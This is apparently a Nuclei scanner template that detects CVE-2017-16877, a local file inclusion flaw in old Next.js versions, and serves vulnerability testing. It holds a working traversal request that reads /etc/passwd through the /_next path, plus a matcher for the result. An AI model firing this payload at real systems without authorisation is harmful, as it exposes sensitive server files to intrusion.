46 lines
1.4 KiB
YAML
46 lines
1.4 KiB
YAML
id: CVE-2017-16877
|
|
|
|
info:
|
|
name: Nextjs <2.4.1 - Local File Inclusion
|
|
author: pikpikcu
|
|
severity: high
|
|
description: ZEIT Next.js before 2.4.1 is susceptible to local file inclusion via the /_next and /static request namespace, allowing attackers to obtain sensitive information.
|
|
remediation: |
|
|
Upgrade Nextjs to version 2.4.1 or above to mitigate this vulnerability.
|
|
reference:
|
|
- https://medium.com/@theRaz0r/arbitrary-file-reading-in-next-js-2-4-1-34104c4e75e9
|
|
- https://github.com/zeit/next.js/releases/tag/2.4.1
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2017-16877
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.5
|
|
cve-id: CVE-2017-16877
|
|
cwe-id: CWE-22
|
|
epss-score: 0.0032
|
|
epss-percentile: 0.67297
|
|
cpe: cpe:2.3:a:zeit:next.js:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: zeit
|
|
product: next.js
|
|
tags: cve,cve2017,nextjs,lfi,traversal
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/_next/../../../../../../../../../../etc/passwd"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 4a0a0047304502201329c7b5ae47c96405b377d02e0087c51966ceb3ec8f777244af23bc21e76d46022100b28c0cb5291d20f24f3e17e8b636e40a6f7b39d55aba1db09732c8ab29754b5d:922c64590222798bb761d5b6d8e72950
|